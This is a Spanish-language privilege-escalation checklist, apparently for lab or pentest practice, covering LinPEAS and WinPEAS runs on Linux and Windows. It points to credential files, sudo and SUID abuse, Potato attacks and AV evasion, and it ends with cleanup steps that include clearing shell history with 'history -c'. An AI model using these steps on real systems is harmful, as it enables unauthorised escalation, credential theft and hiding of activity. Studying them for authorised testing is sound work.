  • Buscar inmediatamente por "95%" en el output
  • Revisar sección Sudo (reglas NOPASSWD, wildcards)
  • Revisar sección SUID (identificar GTFOBins)
  • Revisar sección Capabilities (cap_setuid, cap_setgid)
  • Revisar sección Cron (scripts escribibles de root)
  • Revisar sección Credenciales (.bash_history, archivos .env)
  • Revisar sugerencias de exploits de kernel
  • Complementar con pspy para detectar cron ocultos

🪟 Windows Pre-ejecución

  • Verificar arquitectura (x64/x86) y versión de .NET disponible
  • Elegir variante correcta (exe x64/x86, bat, any)
  • Verificar si hay AV activo y elegir técnica de evasión
  • Preparar directorio de trabajo (C:\Temp o %APPDATA%)

🪟 Windows Durante la Ejecución

  • Ejecutar WinPEAS y guardar output
  • Revisar sección User Privileges (SeImpersonatePrivilege → Potato)
  • Revisar sección Services (AllAccess, UnquotedPath)
  • Revisar AlwaysInstallElevated (HKLM y HKCU)
  • Revisar sección Credentials (autologin, GPP, historial PS)
  • Revisar Scheduled Tasks con scripts modificables
  • Revisar sección Active Directory si hay dominio
  • Complementar con Seatbelt y PowerUp

Post-Explotación y Limpieza

  • Documentar el vector explotado con capturas
  • Eliminar archivos transferidos (linpeas.sh, wp.exe)
  • Eliminar outputs guardados en /tmp o C:\Temp
  • Restaurar configuraciones vulnerables del laboratorio
  • Limpiar historial de comandos (Linux: history -c)